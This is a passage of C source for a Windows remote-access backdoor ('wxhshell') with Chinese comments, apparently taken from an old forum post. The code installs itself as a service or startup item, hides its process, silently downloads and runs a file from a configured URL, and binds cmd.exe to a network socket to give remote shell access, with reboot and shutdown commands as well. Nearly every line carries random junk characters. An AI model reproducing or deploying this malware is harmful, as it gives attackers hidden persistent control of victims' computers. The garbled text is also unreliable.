  } _ h/:r1  
  else { MU4BAN   
87F]a3  
    switch(cmd[0]) { e=+q*]>  
  G\R6=K:f7  
  // 帮助 %Z8wUG  
  case '?': { T|p%4hH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r6&+pSA>  
    break; @^%YOorr  
  } _7b4+ L  
  // 安装 h.\p+Qw.  
  case 'i': { a4XK.[O  
    if(Install()) MoXai0d%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jX .' G   
    else YZAQt* x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +TAyCxfmt  
    break; ]c1#_MW  
    } kzVK%[/  
  // 卸载 &oE'|^G  
  case 'r': { {11 3B)  
    if(Uninstall()) .l,]yWwfK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y4+iNdd  
    else !$/P8T``M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7pN&fAtj/  
    break; V@+X4`T  
    } h1y3gl[;TD  
  // 显示 wxhshell 所在路径 V/xjI<,  
  case 'p': { i|0!yID0@  
    char svExeFile[MAX_PATH]; H vHy{S4  
    strcpy(svExeFile,"\n\r"); Kpkpr`:)]  
      strcat(svExeFile,ExeFile); 9VMk?   
        send(wsh,svExeFile,strlen(svExeFile),0); &;R BG$t  
    break; pd|l&xvka  
    } H6Ytp^~>  
  // 重启 _0y]U];ce  
  case 'b': { OKAmw >{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 21my9Ui]  
    if(Boot(REBOOT)) wb%4f6i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x_9#:_S'  
    else { ltyhYPS  
    closesocket(wsh); s )Xz}QPK.  
    ExitThread(0); ']d(m?  
    } vsPIvW!V  
    break; 2*V]jO  
    } !?sB=qo  
  // 关机 >`|Wg@_  
  case 'd': { <?:h(IZe[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  hOYX  
    if(Boot(SHUTDOWN)) <nK@+4EH"o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.#57g F"  
    else { (w`_{%T  
    closesocket(wsh); 0>"y)T3   
    ExitThread(0); 11Uu5e!.  
    } pU<GI@gU  
    break; T)tTzgLD}  
    } efuiFN;  
  // 获取shell AF, ;3G  
  case 's': { FxT]*mo  
    CmdShell(wsh); r*ziO#[  
    closesocket(wsh); [ {HTGz@(  
    ExitThread(0); ;Ah eeq746  
    break; \mZB*k)+  
  } BjHp3-A'  
  // 退出 8bf@<VTO_  
  case 'x': { E&Zt<pRf;2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fl4 0jo]  
    CloseIt(wsh); 8@){\.M  
    break; a p(PI?]X  
    } Bat@  
  // 离开 >;#rK@*&  
  case 'q': { Y5P9z{X=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ERIF#EY  
    closesocket(wsh); WqS$C;]%  
    WSACleanup(); rCb$^(w{7  
    exit(1); (!?%"e  
    break; 3HNm`b8G4m  
        } 4sfq,shRq  
  } brK7|&R<  
  } b&]z^_m)  
GnC s_[*&r  
  // 提示信息 *^XMf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e.Jaq^Gw|  
} 1/syzHjbY  
  } wa!z:}]  
9Z"WV5o  
  return; =4L%A=]`  
} zn0%%x+!g  
oTr,zRL  
// shell模块句柄 e.Q'l/g  
int CmdShell(SOCKET sock) ;iQw2XhT  
{ s2F[v:|Wq  
STARTUPINFO si; /XNC^!z6Js  
ZeroMemory(&si,sizeof(si)); -S&d5(R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zqv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yTNHM_P  
PROCESS_INFORMATION ProcessInfo; IsVR4t]  
char cmdline[]="cmd"; YS<KyTb"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }9N-2]  
  return 0; b8[ ayy  
} sxdDI?W4  
ma/<#l^}  
// 自身启动模式 r=xec@R]*  
int StartFromService(void) ys:F  
{ )`2ncb   
typedef struct e`+ej-o,  
{ `Gx 5=Bm;  
  DWORD ExitStatus; |oQhtk8.  
  DWORD PebBaseAddress; m 0Uu2Z4  
  DWORD AffinityMask; JdUI:(  
  DWORD BasePriority; 9H53H"5q  
  ULONG UniqueProcessId; VMS3Q)Ul  
  ULONG InheritedFromUniqueProcessId; A;e"_$yt8  
}   PROCESS_BASIC_INFORMATION; `=kiqF2P}  
I]cZcx,<q  
PROCNTQSIP NtQueryInformationProcess; l[<o t9P[  
gt=@v())  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O7od2fV(i7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uLfk>&hc  
6KE64: \;  
  HANDLE             hProcess; 7f*b5$+r  
  PROCESS_BASIC_INFORMATION pbi; |o ^mg9  
j'Gezx^.<e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &g=6K&a$a  
  if(NULL == hInst ) return 0; {$7vd  
.x}xa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1suP7o A;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mp^G7JY,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kX*.BZI}C  
k9&W0$I#  
  if (!NtQueryInformationProcess) return 0; Gs4t6+Al  
e:.D^G Fi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WopA7J,  
  if(!hProcess) return 0; q4vHsy36  
dIA1\;@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [(vV45(E  
IK8" 3+(  
  CloseHandle(hProcess); cnDF`7xrT  
31F^38  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DD6K[\  
if(hProcess==NULL) return 0; n" vO?8Sx  
6aWNLJ@  
HMODULE hMod; V<U9Pj^?^  
char procName[255]; q AsTiT6r  
unsigned long cbNeeded; 1l^ `  
SP vKq=,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O7J V{'?  
a4]=4[(iu>  
  CloseHandle(hProcess); Y$fF"p G?  
r jnf30  
if(strstr(procName,"services")) return 1; // 以服务启动 )Q<u0AxAn  
%wGQu;re  
  return 0; // 注册表启动 :>jzL8  
} ;0Ih:YY6  
Shss};QZf(  
// 主模块 ?}S~cgL -  
int StartWxhshell(LPSTR lpCmdLine) `:dGPB BO  
{ dO9bxHMnM  
  SOCKET wsl; ~F;>4q   
BOOL val=TRUE; Smd83W&  
  int port=0; R0nUS<b0  
  struct sockaddr_in door; Qe]&  
J6nH|s8  
  if(wscfg.ws_autoins) Install();  ~!e(e2  
X1Kze  
port=atoi(lpCmdLine); d1NKVMeWr  
$SzuUI  
if(port<=0) port=wscfg.ws_port; vJQ_mz  
#qEUGD`  
  WSADATA data; S@ItgG?X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TUQe.oAi  
&}0#(Fa`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )>pIAYCVP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D e$K  
  door.sin_family = AF_INET; )$O'L7In&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3)l<'~"z<  
  door.sin_port = htons(port); o%h[o9i  
#BI6+rfv|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , lBHA+@  
closesocket(wsl); xoQqku"vn  
return 1; iH-(_$f;  
} BbgKaCq  
vfh\X1Ui}  
  if(listen(wsl,2) == INVALID_SOCKET) { '=UsN_@  
closesocket(wsl); n,p \~Tu,  
return 1; WmblY2  
} ?~;q r  
  Wxhshell(wsl); LEAU3doK;  
  WSACleanup(); LO k J  
!6J+#  
return 0; Enhrkk  
zbDK$g6  
} p0pA|  
v5L#H=P  
// 以NT服务方式启动 TezwcFqH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xs)?PE [  
{ )!sjXiC!h  
DWORD   status = 0; ?!bA#aSbl5  
  DWORD   specificError = 0xfffffff; wNl "y  
8]JlYe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "g1Fg.o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @nM+*0 $d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e?e oy|  
  serviceStatus.dwWin32ExitCode     = 0; tSiQr I  
  serviceStatus.dwServiceSpecificExitCode = 0; ?1H>k<Jp  
  serviceStatus.dwCheckPoint       = 0; jG,^~ 5x  
  serviceStatus.dwWaitHint       = 0; K` <`l  
-B:O0;f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p8z"Jn2P  
  if (hServiceStatusHandle==0) return; ho6,&Bp8  
"I3&a1*  
status = GetLastError(); _D1)_?`a@-  
  if (status!=NO_ERROR) oXGP6#  
{ ,"T[#A~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^C{?LH/2  
    serviceStatus.dwCheckPoint       = 0; nyPW6VQ0n  
    serviceStatus.dwWaitHint       = 0; 6/|"y  
    serviceStatus.dwWin32ExitCode     = status; 0"u=g)3  
    serviceStatus.dwServiceSpecificExitCode = specificError; -n6T^vf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `^DP<&{  
    return; bE"J&;|  
  } 5pq9x4&  
7zu3o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O9:J ^g  
  serviceStatus.dwCheckPoint       = 0; tsf !Q  
  serviceStatus.dwWaitHint       = 0; a&gf0g;@I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >soSOJ[   
} XQj+]-m  
wKy4Ic+RV  
// 处理NT服务事件,比如:启动、停止 vtTXs]>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D 6F /9|  
{ ,>I_2mc  
switch(fdwControl) a0cW=0l=  
{ iBqIV  
case SERVICE_CONTROL_STOP: / gE9 W  
  serviceStatus.dwWin32ExitCode = 0; `e+eL*rZ~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9`DY6qfly  
  serviceStatus.dwCheckPoint   = 0; [Ny'vAHOj  
  serviceStatus.dwWaitHint     = 0; pEiq;2{~Yn  
  { +fq;o8q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y67i\U>?  
  } %* @hS`  
  return; p;{w0uld"  
case SERVICE_CONTROL_PAUSE: 6X$iTJ[\x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fU4{4M+9"  
  break; '59l.  
case SERVICE_CONTROL_CONTINUE: liVDBbS_A?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l78 :.  
  break; A Zv| |8p  
case SERVICE_CONTROL_INTERROGATE: "C9.pdP\8  
  break; "'6R|<u=:  
}; Ht%O9v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \MtdT[*  
} ]w9syz8X  
s _`y"' ^  
// 标准应用程序主函数 KnYHjJa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z';h5GNd>z  
{ $ dHD  
uszMzO~  
// 获取操作系统版本 ,9/s`o  
OsIsNt=GetOsVer(); +F6R@@rWr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A*3R@G*h  
8hvh xp  
  // 从命令行安装 X[o"9O|<  
  if(strpbrk(lpCmdLine,"iI")) Install(); ps=QVX)YP  
g?!;04  
  // 下载执行文件 7R".$ p  
if(wscfg.ws_downexe) { C,3yu,'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u9dL-Nr`  
  WinExec(wscfg.ws_filenam,SW_HIDE); )hK1W\5  
} s B!2't  
`jCq`-.  
if(!OsIsNt) { SlUt&+)  
// 如果时win9x,隐藏进程并且设置为注册表启动 s&qr2'F+z  
HideProc(); &bS!>_9  
StartWxhshell(lpCmdLine); TWTRMc;z+  
} R$VeD1n@  
else }F (lffb  
  if(StartFromService()) +PkN~m`  
  // 以服务方式启动 \( xQ'AQ-  
  StartServiceCtrlDispatcher(DispatchTable); 7)a u#K6  
else Cl3hpqv1I  
  // 普通方式启动 c)=UX_S!  
  StartWxhshell(lpCmdLine); [KwwhI@3  
QjwCY=PK!  
return 0; 7$I *ju_  
}
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只看该作者 1 发表于: 2006-10-10
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